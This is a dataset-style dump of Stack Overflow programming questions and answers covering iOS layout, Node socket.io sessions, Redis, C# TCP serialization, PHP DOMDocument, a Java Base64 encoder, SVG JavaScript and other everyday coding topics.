2936377	0	 <p>Important point: always call function on super when you reimplement. This solved my problem:</p> <pre><code>- (void)layoutSubviews { [super layoutSubviews]; self.contentView.frame = CGRectMake(50, 0, self.frame.size.width - 100, sub.thumbnail.size.height + 20); } </code></pre>
150915	0	 <p>The first 3 characters are missing in the corrupted one - compare</p> <pre><code>// Your correct version 00000BC0 0D 0D 0D 41 // Their corrupted one 00000BC0 D0 D4 1... </code></pre> <p>Either their mail server, mail program, anti-virus or some such program has removed the first few chars, which seems to be causing the confusion when Word tries to open it.</p> <p>The fact that the file is still garbled when they send it back to you confirms that something is altering the file on their side once received.</p>
11828354	0	merge socket.io and express.js sessions <p>I want to merge express.js and socket.io sessions together. Below is my code (socket.io part)</p> <pre><code>var io = require('socket.io').listen(app); io.set('log level', 1); io.sockets.on('connection', function (socket) { console.log('client connected'); client.send(client.id);//send client id to client itself socket.on('connect', function(){ console.log(socket.id + ' connected'); }); socket.on('disconnect', function(){ console.log(socket.id + ' disconnected'); }); }); </code></pre> <p>My express.js Session settings:</p> <pre><code>app.configure(function() { //app.use(express.logger()); app.use(express.bodyParser()); app.use(express.methodOverride()); app.use(express.static(__dirname + '/static')); app.use(express.cookieParser()); app.use(express.session({store: MemStore({ reapInterval: 60000 * 10 }), secret:'foobar', key: 'express.sid' })); </code></pre> <p>My main problem is in my terminal when user travels from one url to another, the session id changes also: But I don't want it to be changed.</p> <pre><code>info - socket.io started client connected client connected 4Z0bYHzfWCEFzbbe4WUK disconnected e_uSvxhSLbLAC9-F4WUL disconnected client connected bKDy90gsrWWTRJDD4WUM disconnected client connected RJ5qqCL2wfmXbd7U4WUN disconnected client connected wjN5Sqx4rucRtWL_4WUO disconnected </code></pre>
16794191	0	 <p>The bug is fixed in commit <a href="https://github.com/FooBarWidget/passenger/commit/4ad928da840663e1933c4557c9e79a3166b48304" rel="nofollow">4ad928d</a> on GitHub.</p> <p>You can try to use a clone from the GitHub repository, or wait for version 4.0.5 which will include this fix.</p> <p><strong>Edit:</strong> As of this moment version 4.0.5 is available.</p>
23277387	1	Redis publish from a csv. No error but No data received <p>Below is my script which inserts data from a csv located on one server into Redis on another server. If it worked..</p> <p>I don't get an error but I don't show any data received on the redis side either. So Iam not sure which is worse.</p> <pre><code>#!/opt/python/bin/python import csv import redis from redis import StrictRedis reader = csv.reader(open("/opt/xyzxyz.csv")) header = reader.next() client = redis.StrictRedis(host='XXXXXXXXX.XX.XXX.X.XXX', port=6379, db=0) for row in reader: key = "xyzxyz:%s" % (row[0], ) doc = dict(zip(header, row)) client.publish(key, doc) </code></pre> <p>Any thoughts on what I am missing from the above process? Or if there is something I am not doing on the redis side?</p> <p>This is my first time working with Redis so it is kinda new to me.</p>
5455549	0	Web based RTF editor solution <p>I've been researching on how to do this for about a week now and I guess I am looking for the best way to go about doing what I am trying to accomplish.</p> <p>I am trying to build a module in my website that will allow users to create forms (letters) in a wysiwyg type of editor with the ability to insert variables where needed from a list. The site is written in MVC 2 using C# for the backend. I have started writing this module in Silverlight and have some of the functionality already created such as loading a list of variables from a DB using a WCF service and copying them to the selected text in the RichTextBox that comes with Silverlight by selecting them.</p> <p>I have written this module before using PHP and ckeditor but the biggest problem I had with this is after the form was written and edited it would never come out looking exactly like it did in the wysiwyg editor. Because of this I've decided to move toward something that can handle RTF or DOC type files. I am trying to stay away from PDF because the user base that will be using the application will be more use to using Microsoft Word/Open Office than using Adobe Acrobat.</p> <p>I started using the built in RichTextBox with Silverlight 4 but the only problem I came across is the issue with saving UI elements such as images or tables and for what this is used for this can be a "show stopper" for me. I have found some paid libraries that seem to be able to overcome this save issue and add a lot more functionality such as Teleriks RichTextBox or DevExpress's RichTextBox but I guess I'm looking for the best solution for this type of module before I commit to purchasing a Silverlight Control suite.</p> <p>I have looked into VectorLights RichTextBox plugin and was able to get something going but im not sure if their save does more than just a XAML export and I had issues replacing the selected text with their library. They also don't have any documentation and I'm trying to avoid spending all my time on a forum asking questions about how to use their library.</p> <p>So my question to you is for an app that needs to create RTF type documents, retain the exact or very close to the exact format of what you see in the editor, and allow you to replace your selected text with a variable by selecting it out of a list. How would you go about writing and what plugins/input formats would you use for this module. I will have to eventually pull this form out of a database, replace variables with information out of the db, and have the ability to print or email this form.</p> <p>I've added a link below that the basics of what I have currently written in Silverlight.</p> <p><a href="http://slaglesoft.dyndns.org/TestPage.html" rel="nofollow">Test Page</a></p> <p>Any suggestions would be greatful.</p>
3379344	0	 <pre><code>$url = "http://www.mydomain.com/assets/Image/......./image.jpg"; $filename = basename($url); echo $filename; </code></pre>
5805673	0	 <p>You forgot the quotes around the title.</p> <pre><code> $.each(json, function(i, item) { template += '&lt;p&gt;&lt;a href="javascript:void(0)" onClick="formatDescrip(' + i + ',\"' + json[i].title + '\")"&gt;' + this.title + '&lt;/a&gt;&lt;/p&gt;'; }); </code></pre> <p>Instead of setting up the handlers that way, however, why not use jQuery's ".delegate()"?</p> <pre><code> $.each(json, function(i, item) { template += '&lt;p&gt;&lt;a class="dynamic" data-index="' + i + '" href="#"&gt;' + this.title + '&lt;/a&gt;&lt;/p&gt;'; }); containerList.delegate("a.dynamic", "click", function(ev) { formatDescrip($(this).data('index'), $(this).text()); }); </code></pre> <p>Or something like that; if the list is extended multiple times then the ".delegate()" call should probably be done once, outside the handler.</p> <p><em>edit</em> &mdash; if the "formatDescrip()" function needs access to the original "event" object (whatever those things are that you use to make the list of <code>&lt;a&gt;</code> tags), you can pass it in to "formatDescrip()" instead of the index, and then modify the other function as necessary:</p> <pre><code> containerList.delegate("a.dynamic", "click", function(ev) { formatDescrip( json[$(this).data('index')] ); }); // ... function formatDescrip(eventObj) { alert(eventObj.title); // // ... more code here ... // } </code></pre>
30885116	0	Adding labels to pie chart in R... Radiating "spokes"? <p>Is there a way (using ggplot or some other package maybe) to angle the labels of a pie chart in R? For example, this code (using R defaults):</p> <pre><code>data &lt;- c(4,9,2,5) names &lt;- c("alpha","beta","gamma","delta") pie(data,names) </code></pre> <p>Creates this pie chart: <img src="https://i.stack.imgur.com/egwBZ.png" alt="enter image description here"></p> <p>What I want is a pie chart like this (which I created very roughly in PhotoShop): <img src="https://i.stack.imgur.com/BzIFv.png" alt="enter image description here"></p>
37734874	0	 <p>Try using this method to get the running service. The Path gives the service MySQL..</p> <pre><code>ManagementClass mc = new ManagementClass("Win32_Service"); var Instances = mc.GetInstances().Cast&lt;ManagementObject&gt;().ToList(); foreach (ManagementObject o in Instances) { if (o.GetPropertyValue("PathName").Contains("mysqld.exe")) /// is a mysql service } </code></pre>
1642548	0	 <p>I'm not sure if I expressed my problem very well, but now I've found the solution.</p> <p>In my .proj file, I reference my custom task with the following syntax...</p> <pre><code>&lt;UsingTask AssemblyFile="..\lib\MyCompany.MSBuild\MyCompany.MSBuild.dll" TaskName="CreateDatabase" /&gt; </code></pre> <p>My CreateDatabase task relies on various 3rd-party assemblies. However, some of these are only referenced via reflection, so weren't included by default in the folder "..\lib\MyCompany.MSBuild".</p> <p>I had been trying to get the task to work by placing the required assemblies in the same directory as the .proj file invoking the task.</p> <p>However, what I should have been doing was putting the assemblies in the referenced task directory "..\lib\MyCompany.MSBuild\".</p> <p>Simple!</p>
25893575	0	 <p>Java has a pool of Integer constants between -128 and 128. Integer values in that range don't take up any additional space.</p> <p>Integer values outside that range take as much space as an object header + 4 bytes. How big that is depends on your JVM and settings. Look at <a href="http://sourceforge.net/projects/sizeof" rel="nofollow">http://sourceforge.net/projects/sizeof</a> or <a href="https://code.google.com/p/memory-measurer" rel="nofollow">https://code.google.com/p/memory-measurer</a> if you want to programmatically measure the size.</p> <p>Edit: Note that <code>Integer i = new Integer(10);</code> will <strong>not</strong> use the object constant pool. That's why you should always use <code>Integer.valueOf(x)</code> instead of <code>new Integer(x)</code> when instantiating. Note also that autoboxing already does the right thing, so <code>Integer i = 10</code> will also use the constant pool.</p>
31391100	0	 <p>You can <em>scale</em> the image by creating a <a href="https://msdn.microsoft.com/en-us/library/system.windows.media.scaletransform(v=vs.110).aspx" rel="nofollow">ScaleTransform</a> object and applying it to the imageBrush, and setting the Stretch property on your brush to whatever it is you desire.</p> <p>For example:</p> <pre><code> Button btn = new Button(); ImageBrush brush1 = new ImageBrush(); brush1.ImageSource = new BitmapImage(new Uri("ms-appx:///Assets/emptyseat.jpg")); ScaleTransform scaleTransform = new ScaleTransform(); scaleTransform.ScaleX = 0.5; brush1.Transform = scaleTransform; brush1.Stretch = Stretch.Uniform; btn.Background = brush1; </code></pre> <p>It's not entirely clear what you are trying to achieve but the above will resize the image for you.</p>
6792818	0	 <p>If you are seeking to find out whether a type is a Foo(Of T) because you're interested in using some property which does not depend upon T, I would suggest that you should make that property available in either a non-generic base class or a non-generic interface. For example, if defining an ISuperCollection(Of T) which provides array-like access, one could offer a non-generic ISuperCollection collection which implements methods Count, RemoveAt, CompareAt, SwapAt, and RotateAt (calling RotateAt(4,3,1) would rotate three items, starting at item 4, up one spot, thus replacing item 5 with 4, 6 with 5, and 4 with the old value of 6), and have ISuperCollection(Of T) inherit from that.</p> <p>BTW, if you segregate reader interfaces from writer interfaces, the reader interfaces can be covariant and the writer interfaces contravariant. If any property or indexer implements both read- and write- functions, you'll need to define a read-write interface which includes read-write implementations of any such property or indexer; a slight nuisance, but IMHO worth the small additional effort.</p>
21222769	0	Texture Filtering <p>Why texture filtering is called <code>filtering</code>? As far as I understand, texture filtering means calculating the color components for the vertex from the texture texels. It can be considered as <code>mapping</code> . So where is the filtering here?</p> <p>I am asking to make sure that I am not missing the concept here.</p>
4849454	0	 <p>I think you are missing a comma after <code>autoincrement</code> and then you don't need the trailing semicolon</p>
27244700	0	 <p>Humm. Is your sort truly async or does it just take a function as a parameter? Also, I think we will need a bit more information regarding the workunit.sort method.</p> <p>Anyhow, as a high level, you can use something like <code>async</code> module to wait for the completion of async tasks perhaps?</p>
17654733	0	 <p>edit the visibility line under <code>TextView</code> as follows:</p> <pre><code>android:visibility="visible" </code></pre> <p>Instead of</p> <pre><code>android:visibility="gone" </code></pre>
24378730	0	 <p>The below coding is also useful to perform only string value.By using variable to access the property list of abject after that by using it check the value is a NotANumber by using isNaN.The code given below is useful to you</p> <pre><code>var languages = { english: "Hello!", french: "Bonjour!", notALanguage: 4, spanish: "Hola!" }; // print hello in the 3 different languages for(a in languages) { if(isNaN(languages[a])) console.log(languages[a]); } </code></pre>
38903629	0	Xcode 8 - directory not found for option '-F' <p>Started a new project in Xcode 8 beta 5, and I'm getting a warning for each cocoa pod in each of my targets:</p> <pre><code>ld: warning: directory not found for option '-F/Users/NinjaCoder/Library/Developer/Xcode/DerivedData/NinjaProduct-bfwyaspiuhsjzkhepkjmeoiayjnk/Build/Products/Debug-iphonesimulator/PureLayout' </code></pre> <p>I can still run, but I'd like to get rid of these warnings. Tried the solutions at this link, but they did not work: <a href="http://stackoverflow.com/questions/32676490/how-do-i-fix-the-directory-not-found-for-option-f-error">How do I fix the directory not found for option -F error</a></p>
7890554	0	Sending long XML over TCP <p>I'm sending an object (class name <code>House</code>) over TCP using the <code>TcpListener</code> on the server side in response to any message received from the <code>TcpClient</code>.</p> <p>When the message is received, it is currently populating a text box named <code>textBox1</code>.</p> <p>If I send a line of text, it works fine. You'll notice that I have a redundant line "Hello, I'm a server" for testing this purpose. But when I send the XML, it is cutting it off prematurely.</p> <p>When I send serialised XML in to the stream, I'm also receiving this error from the server side:</p> <blockquote> <p>Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host.</p> </blockquote> <p><strong>Here's my server code</strong></p> <pre><code>// Set the variables for the TCP listener Int32 port = 14000; IPAddress ipaddress = IPAddress.Parse("132.147.160.198"); TcpListener houseServer = null; // Create IPEndpoint for connection IPEndPoint ipend = new IPEndPoint(ipaddress, port); // Set the server parameters houseServer = new TcpListener(port); // Start listening for clients connecting houseServer.Start(); // Buffer for reading the data received from the client Byte[] bytes = new Byte[256]; String data = "hello, this is a house"; // Show that the TCP Listener has been initialised Console.WriteLine("We have a TCP Listener, waiting for a connection..."); // Continuing loop looking for while (true) { // Create a house to send House houseToSendToClient = new House { house_id = 1, house_number = 13, street = "Barton Grange", house_town = "Lancaster", postcode = "LA1 2BP" }; // Get the object serialised var xmlSerializer = new XmlSerializer(typeof(House)); using (var memoryStream = new MemoryStream()) { xmlSerializer.Serialize(memoryStream, houseToSendToClient); } // Accept an incoming request from the client TcpClient client = houseServer.AcceptTcpClient(); // Show that there is a client connected //Console.WriteLine("Client connected!"); // Get the message that was sent by the server NetworkStream stream = client.GetStream(); // Blank int int i; // Loop for receiving the connection from the client // &gt;&gt;&gt; ERROR IS ON THIS LINE &lt;&lt;&lt; while ((i = stream.Read(bytes, 0, bytes.Length)) != 0) { Console.WriteLine("here"); // Take bytes and convert to ASCII string data = System.Text.Encoding.ASCII.GetString(bytes, 0, i); Console.WriteLine("Received s, return house"); // Convert the string to a byte array, ready for sending Byte[] dataToSend = System.Text.Encoding.ASCII.GetBytes("Hello, I'm a server"); // Send the data back to the client //stream.Write(dataToSend, 0, dataToSend.Length); // Send serialised XML in to the stream xmlSerializer.Serialize(stream, houseToSendToClient); } // Close the connection client.Close(); } </code></pre> <p><strong>Client code</strong></p> <pre><code>// Get the object serialised var xmlSerializer = new XmlSerializer(typeof(House)); // Set the variables for the TCP client Int32 port = 14000; IPAddress ipaddress = IPAddress.Parse("127.0.0.1"); IPEndPoint ipend = new IPEndPoint(ipaddress, port); string message = "s"; try { // Create TCPCLient //TcpClient client = new TcpClient("localhost", port); TcpClient client = new TcpClient(); // Convert the string to a byte array, ready for sending Byte[] dataToSend = System.Text.Encoding.ASCII.GetBytes(message); // Connect using TcpClient client.Connect(ipaddress, port); // Client stream for reading and writing to server NetworkStream stream = client.GetStream(); // Send the data to the TCP Server stream.Write(dataToSend, 0, dataToSend.Length); //xmlSerializer.Serialize(stream, houseToSend); // Buffer to store response Byte[] responseBytes = new Byte[256]; string responseData = String.Empty; // Read the response back from the server Int32 bytes = stream.Read(responseBytes, 0, responseBytes.Length); responseData = System.Text.Encoding.ASCII.GetString(responseBytes, 0, bytes); textBox1.Text = responseData; // Close the stream and the client connection stream.Close(); client.Close(); } catch (SocketException e) { MessageBox.Show(e.ToString()); } catch (Exception e) { MessageBox.Show(e.ToString()); } </code></pre> <p>I've marked on the code where the error is appearing.</p> <p>Is it because the message is too long?</p>
972645	0	 <p>I'm not sure I get you right, but if I do, something like that seems to do the trick:</p> <pre><code>select RESULT.* from classmembercall as RESULT inner join classmembercall as INPUT ON RESULT.startedontick BETWEEN INPUT.startedontick and INPUT.finishedontick AND RESULT.finishedontick BETWEEN INPUT.startedontick and INPUT.finishedontick where INPUT.CallGUID = 'CAE8210C-617A-49F4-A739-E442F39B55B0' </code></pre> <p>it should give you all calls between start and end tick of given log entry</p> <p>if you need to filter it additionally by the same InstanceGUID, then:</p> <pre><code>select RESULT.* from classmembercall as RESULT inner join classmembercall as INPUT ON RESULT.startedontick BETWEEN INPUT.startedontick and INPUT.finishedontick AND RESULT.finishedontick BETWEEN INPUT.startedontick and INPUT.finishedontick AND RESULT.InstanceGUID = INPUT.InstanceGUID where INPUT.CallGUID = 'CAE8210C-617A-49F4-A739-E442F39B55B0' </code></pre> <p>note that given your sample data, you'll always get only the item with provided CallGuild - because all of the rows have different InstanceGUIDs...</p> <p>Good luck :)</p>
39744272	0	 <p>I think your problem is, though we destroy session we can still access the page that should be loaded only if the user in logged in.</p> <p>For example, when user log in with correct credentials the url should look like this: localhost/app/controller/function (just for instance). And later when the user log out you will redirect back to login page. But if we type localhost/app/controller/function in url or if we click back button in browser, the browser will load the page !!! I consider your stated problem is same like this.</p> <p>For this problem I always use a solution in every function of controller. Like;</p> <pre><code>class MainController extends CI_Controller { function test { $user_name = $this-&gt;session-&gt;userdata('user_name'); if(isset($user_name)) { //the actual function code goes here } else { //redirect to the login function } } } </code></pre> <p>I hope this helped some one.. cheers..</p>
21132767	0	 <p>For buttons, i prefer to use:</p> <pre><code>$('&lt;%=updAccountObject.ClientID %&gt;').click(); </code></pre>
8998950	0	 <p>Since twig 1.12.2 you can use <a href="http://twig.sensiolabs.org/doc/filters/first.html"><code>first</code></a>:</p> <pre><code>{% if user.name|first|lower == i %} </code></pre> <p>For older version you can use <a href="http://twig.sensiolabs.org/doc/filters/slice.html"><code>slice</code></a>:</p> <pre><code>{% if user.name|slice(0, 1)|lower == i %} </code></pre>
14695303	0	Accessing an imported element after the original DOMDocument is destroyed <p>I've been messing around with DOMDocument lately, and I've noticed that in order to transfer elements from one document to the next, I have to call <a href="http://php.net/manual/en/domdocument.importnode.php" rel="nofollow"><code>$DOMDocument-&gt;importNode()</code></a> on the target <code>DOMDocument</code>.</p> <p>However, I'm running into weird issues, where once the originating document is destroyed, the cloned element misbehaves.</p> <hr> <p>For example, here's some lovely working code:</p> <pre class="lang-php prettyprint-override"><code>$dom1 = new DOMDocument; $dom2 = new DOMDocument; $dom2-&gt;loadHTML('&lt;div id="div"&gt;&lt;span class="inner"&gt;&lt;/span&gt;&lt;/div&gt;'); $div = $dom2-&gt;getElementById('div'); $children = $dom1-&gt;importNode( $div, true )-&gt;childNodes; echo $children-&gt;item(0)-&gt;tagName; // Output: "span" </code></pre> <p>Here's a demo: <a href="http://codepad.viper-7.com/pjd9Ty" rel="nofollow">http://codepad.viper-7.com/pjd9Ty</a></p> <hr> <p>The problem arises when I try using the elements after their original document is out of scope:</p> <pre class="lang-php prettyprint-override"><code>global $dom; $dom = new DOMDocument; function get_div_children () { global $dom; $local_dom = new DOMDocument; $local_dom-&gt;loadHTML('&lt;div id="div"&gt;&lt;span class="inner"&gt;&lt;/span&gt;&lt;/div&gt;'); $div = $local_dom-&gt;getElementById('div'); return $dom-&gt;importNode( $div, true )-&gt;childNodes; } echo get_div_children()-&gt;item(0)-&gt;tagName; </code></pre> <p>The above results in the following errors:</p> <blockquote> <p><strong>PHP Warning</strong>: Couldn't fetch <code>DOMElement</code>. Node no longer exists in ...<br> <strong>PHP Notice</strong>: Undefined property: <code>DOMElement::$tagName</code> in ...</p> </blockquote> <p>Here's a demo: <a href="http://codepad.viper-7.com/c0kqOA" rel="nofollow">http://codepad.viper-7.com/c0kqOA</a></p> <hr> <p>My question is twofold:</p> <ol> <li><p>Shouldn't the returned elements exist even after the original document was destroyed, since they were cloned into the current document?</p></li> <li><p>A workaround. For various reasons, I have to manipulate the elements after the original document is destroyed, but before I actually insert them into the DOM of the other <code>DOMDocument</code>. Is there any way to accomplish this?</p></li> </ol> <hr> <p><strong>Clarification:</strong> I understand that if the elements are inserted into the DOM, it behaves as expected. But, as outlined above, my setup calls for the elements to be manipulated before being inserted into the DOM (long story). Given that the first example here works - and that manipulating elements outside of the DOM is standard procedure in JavaScript - shouldn't this be possible here as well?</p>
20104230	0	 <p>From what I could dig, there seems to be two ways to open the compose window of the email app with the fields filled: </p> <h3>1. regular email link</h3> <p>You can pass subject, body, cc, bcc strings as query URL parameters on a mailto link, for example:</p> <pre><code>&lt;a href="mailto:mail@example.com?subject=foo&amp;body=bar&gt;email link&lt;/a&gt; </code></pre> <p>Using this method you won't be able to fill the attachment.</p> <p>To fill a file attachment, you would need to use the second way which is…</p> <h3>2. web activity "share"</h3> <p>The share web activity will ask for the user which of the apps that accepts the share activity she would like to chose for sharing the file, this activity is what the Gallery App uses to share pictures, if the email app is chosen, it will fill the compose message window according to the parameters you pass.</p> <p>If you look at the source code of the email app, you'll see that <a href="https://github.com/mozilla-b2g/gaia/blob/b585b32441fafa67f2b4582db23be5f3a2afab21/apps/email/js/mail-app.js#L287" rel="nofollow">on Firefox OS 1.1</a> (v1-train branch) the activity handler for the share activity accepts 2 parameters: data.blobs and data.filenames. Later versions (like <a href="https://github.com/mozilla-b2g/gaia/blob/v1.2/apps/email/js/app_messages.js#L53" rel="nofollow">Firefox OS 1.2</a>) also support an url parameter that can have the other fields subject, body, cc, bcc as part of the query string.</p>
9804114	0	 <p><em>You haven't specified Joomla version so I'm assuming 1.6/7/2.5 in my answer.</em></p> <p><strong>Short Answer:</strong> If you're using Joomla!'s default .htaccess then all you have to do is create a Joomla! menu to each of your components views with the right alias eg. <code>portal</code> for your default component access ie. <code>?option=com_tmportal</code>.</p> <p>This is what the default <code>.htaccess</code> does it passes all of the elements after the base URL to <code>index.php</code> to help select the component and view.</p> <p><strong>Longer Answer</strong> When you create a component for Joomla! you specify <a href="http://docs.joomla.org/Developing_a_Model-View-Controller_%28MVC%29_Component_for_Joomla!2.5_-_Part_03" rel="nofollow">the menu settings for each view</a> using an XML file usual the same name as the view file in it's <code>view/tmpl/</code> directory.</p> <p>Typically the url to a specific view &amp; task in a component would look like these:</p> <pre><code>?option=com_mycomponent ?option=com_mycomponent&amp;view=userdetails ?option=com_mycomponent&amp;view=userdetails&amp;task=main </code></pre> <p>Joomla!'s framework will automatically use the <code>view</code> &amp; <code>task</code> params to get your components correct controller and view (or sub-view). I'm not sure that it does anything with the <code>module</code> param that you have in your URL's so I'd guess you're trapping and processing that yourself.</p>
16909638	0	How can I use HttpClient in my .NET Framework 4.5 app/site? <p>Based on the answer here: <a href="http://stackoverflow.com/questions/16470458/how-can-i-retrieve-and-parse-just-the-html-returned-from-an-url">How can I retrieve and parse just the html returned from an URL?</a></p> <p>...I'm trying to begin by adding code based on that found here: <a href="http://msdn.microsoft.com/en-us/library/system.net.http.httpclient.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/system.net.http.httpclient.aspx</a></p> <p>...namely by adding this to \App_Code\Functions.cshtml:</p> <pre><code>@functions { public static string GetUrlHtml(string dynamicUrl) { HttpClient client = new HttpClient(); string body = await client.GetStringAsync(dynamicUrl); // parse it using HTML Agility Pack? (http://htmlagilitypack.codeplex.com/) } } </code></pre> <p>HttpClient is not recognized, and does not afford a "resolve" context menu item. Intellisense does not offer me a "Http" after entering:</p> <pre><code>@using System.Net. </code></pre> <p>Is HttpClient really unavailable to me? If so, what can I have as a consolation prize? Is my best option to use WebClient like so:</p> <pre><code>WebClient wc = new WebClient(); string body = wc.DownloadString(dynamicUrl); // parse it with html agility pack </code></pre> <p>...or, as shown at <a href="http://www.4guysfromrolla.com/articles/011211-1.aspx#postadlink" rel="nofollow">http://www.4guysfromrolla.com/articles/011211-1.aspx#postadlink</a>, I can use the webGet class from the HTML Agility Pack:</p> <pre><code>var webGet = new HtmlWeb(); var document = webGet.Load(dynamicUrl); </code></pre> <p>Does anybody have any supportable opinions on which option is the best?</p>
29185829	0	 <p>You can get the checkbox control value as</p> <pre><code>SPFieldMultiChoiceValue choices = new SPFieldMultiChoiceValue(item["MultiChoice"].ToString()); </code></pre> <p>And iterate through the values as</p> <pre><code>for (int i = 0; i &lt; choices.Count; i++) { Console.WriteLine(choices[i]); } </code></pre>
4265472	0	 <p>My solution is fastest and easiest.</p> <pre><code>public class MyBase64 { private final static char[] ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray(); private static int[] toInt = new int[128]; static { for(int i=0; i&lt; ALPHABET.length; i++){ toInt[ALPHABET[i]]= i; } } /** * Translates the specified byte array into Base64 string. * * @param buf the byte array (not null) * @return the translated Base64 string (not null) */ public static String encode(byte[] buf){ int size = buf.length; char[] ar = new char[((size + 2) / 3) * 4]; int a = 0; int i=0; while(i &lt; size){ byte b0 = buf[i++]; byte b1 = (i &lt; size) ? buf[i++] : 0; byte b2 = (i &lt; size) ? buf[i++] : 0; int mask = 0x3F; ar[a++] = ALPHABET[(b0 &gt;&gt; 2) &amp; mask]; ar[a++] = ALPHABET[((b0 &lt;&lt; 4) | ((b1 &amp; 0xFF) &gt;&gt; 4)) &amp; mask]; ar[a++] = ALPHABET[((b1 &lt;&lt; 2) | ((b2 &amp; 0xFF) &gt;&gt; 6)) &amp; mask]; ar[a++] = ALPHABET[b2 &amp; mask]; } switch(size % 3){ case 1: ar[--a] = '='; case 2: ar[--a] = '='; } return new String(ar); } /** * Translates the specified Base64 string into a byte array. * * @param s the Base64 string (not null) * @return the byte array (not null) */ public static byte[] decode(String s){ int delta = s.endsWith( "==" ) ? 2 : s.endsWith( "=" ) ? 1 : 0; byte[] buffer = new byte[s.length()*3/4 - delta]; int mask = 0xFF; int index = 0; for(int i=0; i&lt; s.length(); i+=4){ int c0 = toInt[s.charAt( i )]; int c1 = toInt[s.charAt( i + 1)]; buffer[index++]= (byte)(((c0 &lt;&lt; 2) | (c1 &gt;&gt; 4)) &amp; mask); if(index &gt;= buffer.length){ return buffer; } int c2 = toInt[s.charAt( i + 2)]; buffer[index++]= (byte)(((c1 &lt;&lt; 4) | (c2 &gt;&gt; 2)) &amp; mask); if(index &gt;= buffer.length){ return buffer; } int c3 = toInt[s.charAt( i + 3 )]; buffer[index++]= (byte)(((c2 &lt;&lt; 6) | c3) &amp; mask); } return buffer; } } </code></pre>
17704225	0	 <p>Apparently, emptying the ReSharper cache:</p> <blockquote> <p>In menu, ReSharper > Options > Environment > General > Clear Caches</p> </blockquote> <p>and disabling and re-enabling ReSharper:</p> <blockquote> <p>In menu, Tools > Options > ReSharper > General > Suspend / Restore</p> </blockquote> <p>did the trick for me. I am not sure if both operations are necessary, but they solved my problem.</p>
13597664	0	 <p>I solved it with <a href="http://msdn.microsoft.com/en-us/library/bb126445.aspx" rel="nofollow">T4</a>. Now I have <code>Queries</code> directory in my project and <code>SQLGenerator.tt</code> in it. Here is my template source code:</p> <pre><code>&lt;#@ template debug="true" hostSpecific="true" #&gt; &lt;#@ output extension=".cs" #&gt; &lt;#@ Assembly Name="System.Core" #&gt; &lt;#@ Assembly Name="System.Windows.Forms" #&gt; &lt;#@ import namespace="System" #&gt; &lt;#@ import namespace="System.IO" #&gt; &lt;#@ import namespace="System.Diagnostics" #&gt; &lt;#@ import namespace="System.Linq" #&gt; &lt;#@ import namespace="System.Collections" #&gt; &lt;#@ import namespace="System.Collections.Generic" #&gt; &lt;#var sqlScriptsContent = ReadSql(); #&gt; namespace MathApplication.SQL { public class Queries { &lt;# foreach(var file in sqlScriptsContent) { #&gt; public string &lt;#= file.Key #&gt; = @"&lt;#= file.Value #&gt;"; &lt;# } #&gt; } } &lt;#+ public Dictionary&lt;string, string&gt; ReadSql() { var filePaths = Directory.GetFiles(Host.ResolvePath(".")); var result = new Dictionary&lt;string, string&gt;(); foreach (var filename in filePaths) { if (filename.EndsWith(".sql")) { result[Path.GetFileNameWithoutExtension(filename)] = System.Text.RegularExpressions.Regex.Replace(File.ReadAllText(filename), @"\s+", " ").Replace("\"", "'"); } } return result; } #&gt; </code></pre> <p>This code assembles all <code>*.sql</code> files in <code>Queries</code> directory to one class.</p>
6917688	0	 <p>The on_register is a basic module function of ?MODULE. If the gen_server is a singleton server, you can send the name to it using gen_server:call(?MODULE, {name, Name}) or gen_server:cast(?MODULE, {name, Name}).</p> <p>So the result would look like:</p> <pre><code>on_register(SID, JID, INFO) -&gt; {_, _, _, _, Name, _, _} = JID, gen_server:call(?MODULE, {name, Name}), ok. </code></pre>
29080900	0	dispatch_after is persisting view controller in memory <p>I have this code, which runs a block of code after a delay.</p> <pre><code>public func delay(delay:Double, closure:()-&gt;()) { dispatch_after( dispatch_time( DISPATCH_TIME_NOW, Int64(delay * Double(NSEC_PER_SEC)) ), dispatch_get_main_queue(), closure) } </code></pre> <p>The problem is that the view controller using the delay function persists even after dismissal. With the code removed, it becomes nil, as it should.</p> <p>I need to know how to have a delay function, like this, but which wouldn't persist the object it was called from, and instead would just not call the block, in the event that it's otherwise no longer existent.</p> <p>This is in Swift, but replies in Objective-C are entirely appreciated.</p>
37186302	0	Putting CreateElementNS in a function (SVG Groups, shapes etc) <p>I am trying to turn this code right here:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var group = function(n){ n = document.createElementNS(svg, "g" ); }</code></pre> </div> </div> </p> <p>Am I doing it right? I have also tried with 'Return n = doc...' but that doesn't seem to work either.</p> <p>At the moment I just have allot of lines like this; </p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>e.g1 = document.createElementNS(svg, "g" ); t2 = "translate("+e.x+" "+e.y+"), rotate("+e.z+" "+0+" "+0+")"; e.g1.setAttributeNS(null, "transform", t2); e.g1.setAttributeNS(null,"fill", "url(#gradient)"); e.g1.setAttributeNS(null,"stroke", "none"); e.g1.setAttributeNS(null,"stroke-width", e.a*0.03); document.getElementById("mySVG").appendChild(e.g1);</code></pre> </div> </div> </p> <p>Would prefer it to look more like this..</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code> group(e.g1); t2 = "translate("+e.x+" "+e.y+"), rotate("+e.z+" "+0+" "+0+")"; transform(e.g1, t2); fill(e.g1, url(#gradient)); stroke(e.g1, #000); strokewidth(e.g1, (e.a*0.03)); append(e.g1);</code></pre> </div> </div> </p> <p>Thanks, shorter code is what I need!</p>
26833850	0	 <p>As you can see in <a href="https://github.com/playframework/playframework/blob/2.3.x/framework/src/sbt-plugin/src/sbt-test/play-sbt-plugin/secret/project/Build.scala" rel="nofollow">this test</a> of the Play framework itself, you need to use <code>play.PlayScala</code>.</p> <pre><code>Project(id = dir, base = file(dir)).enablePlugins(play.PlayScala) </code></pre>
